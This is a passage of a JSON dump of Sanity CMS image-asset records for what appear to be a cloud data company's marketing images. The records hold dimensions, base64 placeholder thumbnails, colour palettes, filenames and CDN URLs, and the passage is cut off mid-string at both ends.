WSiOiUprIBu/ngddIIPIG8WKtjSGW1c5a6zIzSAQJxpgYQmLxKleZUennkzwen6WEqVqcJaV0zVP+FpBjG45Nc3mtddY63vAV+YUEjai00s65EIL3YVZK6cXkAiYzAM7dxZep26y9mrycxeb2JJqyOu9Y3jnvfcj58sxlYo5tQBlUxroQc0llgh9qLjWV8SK5jqWO4gTmCOYgUWqikH2uK4mlCkDSNmjrjQs+lZjrKkpNtQqlKMap83klY13JyLA5peWUvFbiP8x10gvmWsdcas4LKTHO55MMEvgQLWu+WM+cq3VZ6aQNgyohxscn+vBp+Pj1MBy8GAY5tbenf1DaHY7U9WY/UL+ntjdNq3/cHN+8u3/7/nF7D+Lm9nGzbe4furtLbO+6DdNutu1m22223c/b3edvD1++P/z63fwBovpxchmRuN8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4189","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c32a1","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbdce3","foreground":"#000","population":0.36,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbdce3","foreground":"#000","population":0.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5cdfa","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a548d","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c34c8","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image1-6564a700250bb.png","path":"images/sczeoy4w/production/8d304af84f8d50e1f8187a7117728673767ad016-606x717.png","sha1hash":"8d304af84f8d50e1f8187a7117728673767ad016","size":12876,"uploadId":"0geLdBw8AHYRT6GCzCeULwpGfXOd7YAG","url":"https://cdn.sanity.io/images/sczeoy4w/production/8d304af84f8d50e1f8187a7117728673767ad016-606x717.png"} {"_createdAt":"2024-02-02T08:37:56Z","_id":"image-8d3881e4e22ac00c2f156a42f0a81317f3e03e5b-1200x628-png","_rev":"H1slUvtNVEvBnmPPMPG2Px","_type":"sanity.imageAsset","_updatedAt":"2024-02-02T08:38:17Z","altText":null,"assetId":"8d3881e4e22ac00c2f156a42f0a81317f3e03e5b","description":"Meet with Aiven at Kafka Summit London\nmeta image","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCA0S60]}RAKrW]cBt+sK5xGwHS%rpSijZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACxUlEQVQokR3Sf08aBwDG8XsHTTpF1ILAgcBx3FEOEA6sCBYQU1exij9qh0apogy1QqvTro2ZbLaZs2uWtDNZs7RpzPbHmmwu7VyaprFNFpfsj2Vv57uUN/DJ8+R5hOZzeeyeGbzBEkqwjDe4jEdbQZQrdLgqWNw3sEg1rJ4NROVz7Oo2Dt8O0dAdyr1zPE6leZlW+Kvfxqu0F8FoGcfXtUiif51E5jNiyXViyU2iydvoiTvoiW0iiR1iF3eJ9+8Rz35Ld/ohlwf32Rjb5ODKBL9mw5xkHLzJuBAM5jGk80UiPauEe9YIxqp0XVhH791CT9xtgHqyTnfqHr3Zb4j3PyCc2KcveY/SwE2+HhjnMB3lOOXhKKUiNJ0bRZSmkbUF5MASHv+nuHwVXL5V3P4abv86kraJHLyLGqmjhHdx+r/Er20z3l3l9sVpvs8Mcpjt41F6EKHZlKdTmcUfKaPpKyihZezyEu32Eq3iEm32Cu2ONczuLWxKHVG9j6jcJ6g/4GrugFuFA3YK+9SnvqKW30M42zaCufMaTrWIdL6EU13E4i7RYrlOk3me5o4yRrGGWfoC0bdPp/YIZ+AxgZ4n5At/sHrrH1Zrf7NQPqFQfINwpiXHR61XMJjGabFMYbRO0ybOYbTOY7AsYLRVMLm2ENW9BiSFf0QKP0OJPWVg7CXz1X+Zr/7H1OIpo7PvEM4ahjC15bDaJujonKHDWUTyL+MJrGGVlrFI1cZNnIHvcIeeIOvPkaM/oXY/JzX8G4XyKYWlU0Zm3jI4+SdCU8tlRFMOt3MKh1zE4S3h12to0Q0cyg1E+SYubRep6wBP5EOyn1Ev/EKo7wXZ/Csmr78nP3vCpYljUsNHCGcMQzQZcxjaR2k2TWIwf9Ko/GEUo22RVnEFq7eOO/QD3uhhA9MSR8Q/Pma48JaxuROGrr0mM/I78Usv+B/fpIZx7ktyqwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4476","foreground":"#fff","population":1.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041471","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bc4d36","foreground":"#fff","population":8.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1e277a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88df","foreground":"#fff","population":1.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c8f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc4d36","foreground":"#fff","population":8.38,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-summit-london-meta-image.png","path":"images/sczeoy4w/production/8d3881e4e22ac00c2f156a42f0a81317f3e03e5b-1200x628.png","sha1hash":"8d3881e4e22ac00c2f156a42f0a81317f3e03e5b","size":270464,"title":null,"uploadId":"cNkFSnhsOAbuA7TVIF62ADytMI80sqct","url":"https://cdn.sanity.io/images/sczeoy4w/production/8d3881e4e22ac00c2f156a42f0a81317f3e03e5b-1200x628.png"} {"_createdAt":"2022-09-17T18:47:30Z","_id":"image-8d6a260503fbd7e18e2324a1798fa0a182fb4159-958x787-gif","_rev":"4pG2it9AJU1nJxbjoL0jog","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T18:47:30Z","assetId":"8d6a260503fbd7e18e2324a1798fa0a182fb4159","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2172808132147395,"height":787,"width":958},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAECBv/EABkQAQACAwAAAAAAAAAAAAAAAAABEgJRYf/EABYBAQEBAAAAAAAAAAAAAAAAAAACA//EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oADAMBAAIRAxEAPwDAxhB1jRholFOhYIV//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c343c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c343c","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b2ba","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c848c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"aiven-console-create-service-postgresql.gif","path":"images/sczeoy4w/production/8d6a260503fbd7e18e2324a1798fa0a182fb4159-958x787.gif","sha1hash":"8d6a260503fbd7e18e2324a1798fa0a182fb4159","size":1505106,"uploadId":"SO4KwqOUWz0DdDx230XhbzijQ7K5GlB6","url":"https://cdn.sanity.io/images/sczeoy4w/production/8d6a260503fbd7e18e2324a1798fa0a182fb4159-958x787.gif"} {"_createdAt":"2023-06-23T12:55:31Z","_id":"image-8d703a0e89befd3441e71ad4b58260d955700a74-1244x1702-jpg","_rev":"GEwcjZ4hpY0RnpIR80KWY8","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T12:56:37Z","altText":null,"assetId":"8d703a0e89befd3441e71ad4b58260d955700a74","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7309048178613397,"height":1702,"width":1244},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGgAAAgIDAAAAAAAAAAAAAAAAAAcCCAQFBv/EACQQAAEDBAICAgMAAAAAAAAAAAECAwQABQYRBxIhMRNBImHx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwEC/8QAHREAAgMBAAMBAAAAAAAAAAAAAQIAAxEhEhNRYf/aAAwDAQACEQMRAD8AfyeQsXUhSxeYvVPg/nS65SmWzLzGctOSRmEspIIDhGzVb462VOBlO/kWdFR9VtGY64UY9taV739bobTo8TyNUp0Mo2WiwjLrDZcZhQJ99iOyWU9VrSvYJoqsUJhpMZO4hdJ89t0VfYByQ1sTpE7XNeK4uDtsTJ9xdkh5RShLTXkH3us65YHGbwyJfjc3lRXwnTfxbUd05OXIEadBiplNBwJUrWyR9fqoKtsQ8fWyMWElhHXqjZ0KKwsWb8HI1WKq59inw/AI97sqJTN2dSkLLei3rRH9opxYLbYkax9GGEoSXVq0N+6KyihlBI7LY7BiAeT/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573c32","foreground":"#fff","population":4.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f3a0c","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8c6648","foreground":"#fff","population":5.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2b89d","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd883f","foreground":"#000","population":1.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6648","foreground":"#fff","population":5.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d55c36","foreground":"#fff","population":2.12,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"pgvector_face_faces.jpg","path":"images/sczeoy4w/production/8d703a0e89befd3441e71ad4b58260d955700a74-1244x1702.jpg","sha1hash":"8d703a0e89befd3441e71ad4b58260d955700a74","size":73653,"title":null,"uploadId":"eCx4jdQKTlWwOZejhMa0nF4URp15zqMH","url":"https://cdn.sanity.io/images/sczeoy4w/production/8d703a0e89befd3441e71ad4b58260d955700a74-1244x1702.jpg"} {"_createdAt":"2023-11-16T10:43:21Z","_id":"image-8dce9d375f7a42339e3544dc11cd9e8b2a63ae10-1000x700-png","_rev":"dOMrb3WT8gTjpaOTAL6wkC","_type":"sanity.imageAsset","_updatedAt":"2023-11-16T10:43:21Z","assetId":"8dce9d375f7a42339e3544dc11cd9e8b2a63ae10","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VeDZn_}EocAWAX,E#-bFOBS2AZE%WXw{xEE}JRn+wfn+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4285714285714286,"height":700,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACTUlEQVQ4jY3QS0/TQRQF8NtSqEDlkaBBRRRMERR6prR/Sl8UaOm7hba8ggqWoEEUQxXjwi/gzsT4LUxc6sq4YScJWxfGxGhcmpgoLAxnTLEupb3JyZ3N/ObeEZ1xCa9fFL3RKhxcFnozQiMvxJJoX0roLgiNWaFr/uhctZgdFsb8wvBEOVaORdvozbRzJNdII2/Sjhuiyw8Yc6J9iergoWjhot3MHDqZ9CQ4OVGiP/mInpk8jUIPjYKFuCZ0zwo9M9VBvdksXD7fwYW+m5zBG8Z8nxma+kpveocjuYc0ChdoFEw6HDpCq6+8ZTXxVscoV7pectH+k9NKMxo45Fh0n770O3qmsxzJWemqcUKW6i3cbM5zvf09i2fJRfsPTjt3GQm9ZTD2mv7kKr3pFo5mhb50dfCgVF/HB5YUt6w73Gg95GrnRy5desK4N8bxyBxD0QCD8SYG48JgTACIw+E45g+1iH4sA3rb/JxbDd94z/aB6213fxfPnNoPRWy/JkMnP42F6nRhQb6HJo7Acv5b5/oN097t5paDbXNYb5uf6VLDK32/qaQ3bV1PfW7JDvrkylW3DACScrqqg0qhe1ih50641767ZnN92WhM7RXbp15kunv9TtXiVsrmVGgCUOeEqgEEMgqIOqCiToWA3zU0HnANpdxOJBQQBhBRwDCAVlXBjgUBzCuFtFJYUAorDqiiA2oNUEUAqwDWAEwCaPuHVQO9AAIAxpVCQikklUJcKUwBiOLvlAMATtQKdgGwV3K5crnc+wD0V/ppAJZawD96f/E0njvvAwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a13b05","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa4143","foreground":"#fff","population":2.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c07c6c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa4143","foreground":"#fff","population":2.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae5664","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7505","foreground":"#fff","population":1.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster badge (3).png","path":"images/sczeoy4w/production/8dce9d375f7a42339e3544dc11cd9e8b2a63ae10-1000x700.png","sha1hash":"8dce9d375f7a42339e3544dc11cd9e8b2a63ae10","size":100113,"uploadId":"wWTaVRvGWESgcDEKHj4ZI7Pc3DUcAO9K","url":"https://cdn.sanity.io/images/sczeoy4w/production/8dce9d375f7a42339e3544dc11cd9e8b2a63ae10-1000x700.png"} {"_createdAt":"2024-01-29T16:17:08Z","_id":"image-8ddf1be425fe0978dbbed1d3d2efc9be7c706151-1536x2048-jpg","_rev":"VeNKqGNmt13PzvGhqsWpTC","_type":"sanity.imageAsset","_updatedAt":"2024-01-29T16:17:08Z","assetId":"8ddf1be425fe0978dbbed1d3d2efc9be7c706151","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dMEz1kMc*0o}_N.TaJtRTJRixai]t6ozV@oz-pxubwW=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":2048,"width":1536},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBQgE/8QAKBAAAgEDAwIFBQAAAAAAAAAAAQMCAAQRBQYSByMTFTFBcSFCUWHR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAcEQACAwEAAwAAAAAAAAAAAAAAAQIREhMDQVH/2gAMAwEAAhEDEQA/AHbdusNu1qsxGPZP1kfcil7crUXG218AIuM4jH4Oah3eqd69WnW97CMokyeFSAnx9h+qrvLeFjbpRJhVN8QQ1nLB+arcleCePieN+hysbwLtVwYoSkABk0VxXF4lMwtpjyiAPWikoIzgzVb5ep3F+p7I3bD3DI55U7dPNxXOq6ozTroc2siJJx9sx/aSkRE5OMhk4FWnT5k1b00wrkYnxojI+aNJasZyeaNDnadu8RZcghshmQz6Gim4jJoq3nH4Q9JH/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a394c","foreground":"#fff","population":1.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040b1c","foreground":"#fff","population":1.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9eb6d1","foreground":"#000","population":7.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9eb6d1","foreground":"#000","population":7.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a9caee","foreground":"#000","population":7.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6686f","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ca2cc","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"8FFC040C-FC83-4F16-9189-DDAF1C6DDA52_1_102_o.jpeg","path":"images/sczeoy4w/production/8ddf1be425fe0978dbbed1d3d2efc9be7c706151-1536x2048.jpg","sha1hash":"8ddf1be425fe0978dbbed1d3d2efc9be7c706151","size":586163,"uploadId":"6Rjmkos8HycYz7YWVDCsd5AQIjAAXK6b","url":"https://cdn.sanity.io/images/sczeoy4w/production/8ddf1be425fe0978dbbed1d3d2efc9be7c706151-1536x2048.jpg"} {"_createdAt":"2024-06-10T08:24:43Z","_id":"image-8dfa6b8d14a2b51885f8eb980f85f2c72f102b77-500x103-png","_rev":"V9FqXtBJiPJLVbzMlVQdjD","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T08:24:43Z","assetId":"8dfa6b8d14a2b51885f8eb980f85f2c72f102b77","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DHSLUfWWNb-9WW}qS2s,a}fk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.854368932038835,"height":103,"width":500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAuUlEQVQYlS2QzSoFABSE72N4AewU+SgpFhdZsZKSFZHolq6/8h9C0ljZetMvnTqL03SmmenMGRhWDcuGpcZ1w6Zh0bBi2DJsG4aGHcO34dcwMqwZdg3vhuvyDgz3TbwarnpuG88MF4Yvw4nhwPBkuDM8GM4Nx4YXw2f5KnBseDM8t6lCbgyXhv2eR8OhYc/wYfjp4CPDRvOlH1fgjGHBMG+YNsx2VXqf6vqlKXNd+2c4bc2EYbLfNfcP9z+qTQROXMUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d5039","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#943604","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb8312","foreground":"#000","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ba8c63","foreground":"#fff","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca448","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac846c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb8312","foreground":"#000","population":0.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"workorb.png","path":"images/sczeoy4w/production/8dfa6b8d14a2b51885f8eb980f85f2c72f102b77-500x103.png","sha1hash":"8dfa6b8d14a2b51885f8eb980f85f2c72f102b77","size":12090,"uploadId":"b7kMYHsK78vk1iZ70nKZmkAWOLJfjTHM","url":"https://cdn.sanity.io/images/sczeoy4w/production/8dfa6b8d14a2b51885f8eb980f85f2c72f102b77-500x103.png"} {"_createdAt":"2022-06-30T20:11:07Z","_id":"image-8e4eac05109ca18b423671212747504dc9d85927-1999x1339-png","_rev":"cEPH2uRN58AU2lp9QO8Nzd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:01Z","assetId":"8e4eac05109ca18b423671212747504dc9d85927","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V2R{#]M}4?_NRp00D*oxM|sk00-:VrxYt8%XIqDhRlR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4929051530993278,"height":1339,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8UlEQVQ4jX2S6W7bQAyE9f7vlhZO4ySujTZB6jo69r4PdQruykkv9McHrgjuaMjlsNvd4ubjDjcfOrvbPe4fjng8nBqHz19wPH3F8fTUzpR7eDxhf3/Ap7v7xt3+AXf7x5YbLq8zXs4jvp1HnL+PeB0XcK4gpGlIZd+iUrZH7VqOMQnGBRiX4FxCSI2BSY+JWSzcgksLoSy08dAmdGyAMh7GBviQEGNByhUpVcRUOjG3fEwVAxMOI7OYuQPjBvMsMc4SM9NgXIMLDc4U+MQhFtFcWhfhXIL3GSGUht8YhHJgglrxMCRwmfB6mVobVmt4reA4h3p+wfz0jHlaIKWBUm5znRFi6ZAgzYScUHTKwjABwQSMsYjBIwePZA38skBPM5RUsM7DuQDvY283bYKRHEqLeaHBalgb4FqxRwhUnN5IV1L+nUyzo9ZTczso7cEFvaKD8xEhJoTYxVJKiKmL5FyQS+nxSikopbYzOQ0xYzA2gkQJEuwCCSnn7UKn1op1XVHrxrq273X90aAcvXwTvK6I81tLJJb730utrfjXy/+iXgWtSyCcz03QeXq5iBDed4sK2+79j1QRYsVAQtcdImGzLXHbNU+Dfn9B4lr7DhnJMK7AuIrhz4LuNLel/etyrFsNdRWbAWsjpAqYeMLIK34CMMjoQeEZsvgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344c42","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#371515","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c40d15","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccb4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc749c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74a47c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c40d15","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8e4eac05109ca18b423671212747504dc9d85927-1999x1339.png","path":"images/sczeoy4w/production/8e4eac05109ca18b423671212747504dc9d85927-1999x1339.png","sha1hash":"8e4eac05109ca18b423671212747504dc9d85927","size":328621,"uploadId":"LkyL75vNgYeXxUPO7pMdCBV1wXHHp5jn","url":"https://cdn.sanity.io/images/sczeoy4w/production/8e4eac05109ca18b423671212747504dc9d85927-1999x1339.png"} {"_createdAt":"2022-09-30T15:36:36Z","_id":"image-8e60202db204a96031f7f815169309c3709fa8d3-1567x844-png","_rev":"vDQRRYe9nRreptIRp66hZ4","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:29Z","assetId":"8e60202db204a96031f7f815169309c3709fa8d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7Uxr-=M_V@WB?w%fM{WCj?RPM{flt7of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACi0lEQVQokT3S/08ScRzH8ZNvR4pGZmatVuIdHKCCoKmoS63EL83lhnAccN9ISTK31mqllQqi5uxvfra7yh8e2+fz+eG1996flxBI7dGT3Sc0+YG+ZwfcdmT3CKfe0p+uMzi5y4OpXQbTFv2jNVd41ECMm3QpdYT4zj/1v/fB2QPGXn8nu3VCZuuY6e0208Uzprdbrjn1jAW1TXrjK8mVT0xtfmM0/5k7mQae+P/At3hiJt6ogfBkbp+Fwg/y1TbL5VNe1jrk7WteWtc8r/1iybhixb5mTu0wVWixbFyRK53x+PknAmONmwmd6boUGyGSe8dS4YhN84wNvc2q3iFvXLKodcgVWyxWL1ixf5PTLkhvnTKrdnhWaDH84gvB8QaCYt+EuYFPZ3ZZePOVjVqLTeucDfOcRbVFrnBCrtR2J5qvXDL86ht3Zw64P7PP0HSTcHqHgKLjkyv4Je2GMJTdYezVR2a3jlgonTJbOGb89SGJ9SNGN3+SenOKvHpIKPuerngdb8zEF63hlyr4R8qIkSLi8DZixFFEcH4rNFYnPNGgf7JJOLtHb6ZJd+a9q2eiSff4Dv64hSdm4HXCZI2AVEYcUQlGii5RUt03wSdX8UmayytV8Mg6QsxCcCoQc1h0RQ08UQNfzCCUrDCYKjOUcWg37mer3Js0EPrkEgOKykCiQq+iIUpl/HIFX1TH60zkcjpn40vY3JsySbzQSa86DNJrDpPUmsX4eh1hQC7wKFnmYdognKgSlEoERkrugr1R3e3Xfz7FJDxh8GTeQFo0GXFZRJbqRJZs9yx0yyqhmEaPUkOMOfup4qzBCXNr4JbWcn8z4OxMKtEdVbmlaASVKmJcJ5C0CSQtgnGdP2t1elFlt1QEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293358","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":29.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":29.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b7d5","foreground":"#000","population":0.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99a4e6","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#97a25e","foreground":"#000","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af444c","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8e60202db204a96031f7f815169309c3709fa8d3-1567x844.png","path":"images/sczeoy4w/production/8e60202db204a96031f7f815169309c3709fa8d3-1567x844.png","sha1hash":"8e60202db204a96031f7f815169309c3709fa8d3","size":76361,"uploadId":"C3lInmMxSQXGZV8saFbBSPWGUqT7xUY1","url":"https://cdn.sanity.io/images/sczeoy4w/production/8e60202db204a96031f7f815169309c3709fa8d3-1567x844.png"} {"_createdAt":"2022-06-30T19:56:48Z","_id":"image-8ef0d4f9abab291befb44ae3ab9dbc4ec6fbe1da-600x276-png","_rev":"cEPH2uRN58AU2lp9QO7fdh","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:11Z","assetId":"8ef0d4f9abab291befb44ae3ab9dbc4ec6fbe1da","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M05Evx~q4o.8-=4nazoMt7_3~qoe00M{tR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1739130434782608,"height":276,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABPklEQVQokVXQDYrjMAwF4N5jm0h6+rEdx2m77SSTdu5/rl2nA8PAQ0iYTwifVJAjTFWIeBx5HEWkzfNz31/P57597tu2tAaR9+s7NI7DMJxypGWecwSYQQQiYQ73earzVGsptZQwE2YmekeIOj6fO77MrWMiYwqQCilYIRCBMISFSW